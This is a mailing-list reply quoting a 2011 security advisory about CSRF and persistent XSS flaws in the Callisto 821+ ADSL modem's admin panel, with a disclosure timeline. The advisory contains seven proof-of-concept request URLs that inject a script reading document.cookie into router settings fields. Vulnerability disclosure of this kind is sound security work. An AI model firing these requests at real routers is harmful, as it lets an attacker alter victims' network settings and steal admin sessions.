Re: Multiple CSRF and XSS vulnerabilities in ADSL modem Callisto 821+

["-= Glowing Sex =-" <doomxd () gmail com>]

So... advanced...
So, you could maybe have to think if the router has port 80 open and i
assume a remote-service,most isp's would have the port 80 remote-assist open
for possibly helping a customer,I know that is the first thing i switch to
'off' ,and actually, my isp went thru that with me on install.
Luckily some isp's do protect your modem, as many are so it seems, coded
weakly in the firmware area.

That is consumer value,and i assume the company has released a patch ?
Usually, you would either contact a vendor and completely
see-it-through,asin wait for theyre reply, I do not see this in the actual
timeline, i only see that you have said your working 'with' them, and theyre
CEO... why then disclose the thing, i guess you either go one way or the
other, know what i mean ?
You should have a 2011-*-* - Vendor has now patched the issue regarding this
, and possibly if it is serious, assigned a bid/cve.
I am only assuming what i see with other disclosure policies... but yea,
nice stuff if xss is your thing. ;')
cheers
0xd0



On 30 July 2011 07:30, MustLive <mustlive () websecurity com ua> wrote:

> Hello list!
>
> After discussion with Michael Simpson about these vulnerabilities in
> Callisto 821+, I want to warn you about new multiple security
> vulnerabilities in ADSL modem Callisto 821+ (SI2000 Callisto821+ Router).
>
> These are Cross-Site Request Forgery and Cross-Site Scripting
> vulnerabilities. In April I've already drew attention of Ukrtelecom's
> representative (and this modem was bough at Ukrtelecom) about multiple
> vulnerabilities in this model of Callisto modems (and other models also
> could be affected).
>
> SecurityVulns ID: 11700.
>
> -------------------------
> Affected products:
> -------------------------
>
> Vulnerable is the next model: SI2000 Callisto821+ Router: X7821 Annex A
> v1.0.0.0 / Argon 4x1 CSP v1.0 (ISOS 9.0) [4.3.4-5.1]. This model with other
> firmware and also other models of Callisto also must be vulnerable.
>
> ----------
> Details:
> ----------
>
> These attacks should be conducted on modem owner, which is logged into
> control panel. Taking into account that it's unlikely to catch him in this
> state, then it's possible to use before-mentioned vulnerabilities
> (http://websecurity.com.ua/5161/) for conducting of remote login (for
> logining him into control panel). After that it's possible to conduct CSRF
> or XSS attack.
>
> CSRF (WASC-09):
>
> Every connection in section LAN connections, as default, as other
> connections, has advanced settings. Let's view on example of default
> connection (iplan).
>
> In section Edit connection in subsection Edit Ip Interface
> (
> http://192.168.1.1/configuration/edit-form.html?ImRouter.ImIpInterfaces.iplan
> )
> via CSRF it's possible to change settings (IP, Mask and others) of
> connection.
>
> In subsection Edit Tcp Mss Clamp
> (
> http://192.168.1.1/configuration/edit-form.html?ImRouter.ImIpInterfaces.iplan.ImTcpMssClamp
> )
> via CSRF it's possible to change settings of connection.
>
> In subsection Edit Rip Versions
> (
> http://192.168.1.1/configuration/edit-form.html?ImRouter.ImIpInterfaces.iplan.ImRipVersions
> )
> via CSRF it's possible to change settings of connection.
>
> In subsection Edit NAT
> (
> http://192.168.1.1/configuration/edit-form.html?ImRouter.ImIpInterfaces.iplan.ImNatHelper
> )
> via CSRF it's possible to change settings of connection.
>
> XSS (WASC-08):
>
> There are many persistent XSS vulnerabilities in above-mentioned four
> subsections of section Edit connection.
>
> In subsection Edit Ip Interface:
>
>
> http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3Aipaddr=%3Cscript%3Ealert(document.cookie)%3C/script%3E<http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3Aipaddr=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E>
>
>
> http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3Amask=%3Cscript%3Ealert(document.cookie)%3C/script%3E<http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3Amask=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E>
>
>
> http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3Adhcp=%3Cscript%3Ealert(document.cookie)%3C/script%3E<http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3Adhcp=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E>
>
>
> http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3Amtu=%3Cscript%3Ealert(document.cookie)%3C/script%3E<http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3Amtu=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E>
>
>
> http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3AsourceAddrValidation=%3Cscript%3Ealert(document.cookie)%3C/script%3E<http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3AsourceAddrValidation=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E>
>
>
> http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3AicmpRouterAdvertise=%3Cscript%3Ealert(document.cookie)%3C/script%3E<http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3AicmpRouterAdvertise=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E>
>
>
> http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3Aenabled=%3Cscript%3Ealert(document.cookie)%3C/script%3E<http://192.168.1.1/configuration/edit-form.html/edit?EmWeb_ns%3Avim%3A3=%2Fconfiguration%2Fedit-form.html&EmWeb_ns%3Avim%3A2.ImRouter.ImIpInterfaces.iplan%3Aenabled=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E>
>
> In subsections Edit Tcp Mss Clamp, Edit Rip Versions and Edit NAT the
> situation is similar.
>
> And also attacks via the names of parameters are possible (when XSS code is
> setting in the name of parameter), which I wrote about earlier
> (http://websecurity.com.ua/5277/).
>
> In this case the code will be executed immediately, and also at visiting of
> pages http://192.168.1.1/system/events.html and
> http://192.168.1.1/shared/event_log_selection.html.
>
> ------------
> Timeline:
> ------------
>
> 2011.04.14 - informed Ukrtelecom about multiple vulnerabilities in modems,
> which they give (sell) to their clients.
> 2011.07.23 - disclosed at my site.
> 2011.07.24 - informed developers (Iskratel).
>
> I mentioned about these vulnerabilities at my site
> (http://websecurity.com.ua/5296/).
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/